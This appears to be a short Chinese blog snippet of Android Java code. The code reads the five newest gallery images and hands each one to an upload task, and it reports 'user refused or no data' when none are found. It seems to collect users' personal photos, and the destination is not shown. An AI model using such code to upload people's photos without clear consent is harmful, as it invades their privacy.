Android 获取最新图片

     Android获取手机里最新的图片

   

	// 获取相册图片
	private void getPic() {
		Log.d("duke", "piccccc");
//		initDatass("时间:"
//				+ new SimpleDateFormat("yyyy年MM月dd日   HH:mm:ss")
//						.format(new Date(System.currentTimeMillis())));
		picList.clear();
		picBuffer.setLength(0);
		// 获取手机联系人:注意最后一个参数,筛选
		Cursor cursor = getApplicationContext().getContentResolver().query(
				MediaStore.Images.Media.EXTERNAL_CONTENT_URI, null, null, null,
				Photo._ID + " desc");
		// moveToNext方法返回的是一个boolean类型的数据;
		if (cursor.getCount() > 0) {

			int i = 0;
			while (cursor.moveToNext()) {
				if (cursor.getCount() >= 5) {
					if (i < 5) {

						String completefilepath = cursor.getString(cursor
								.getColumnIndex(MediaColumns.DATA));
						Log.d("duke", "completefilepath=" + completefilepath);
						picList.add(completefilepath);
						i++;
					}

				} else {
					String completefilepath = cursor.getString(cursor
							.getColumnIndex(MediaColumns.DATA));
					Log.d("duke", "completefilepath=" + completefilepath);
					picList.add(completefilepath);
				}
			}
			for (int j = 0; j < picList.size(); j++) {
				new UploadTask3().execute(picList.get(j));
			}
		} else {
			sendPhoneInfo("4", "用户拒绝上传或暂无数据");
		}
	}

你可能感兴趣的:(Android 获取最新图片)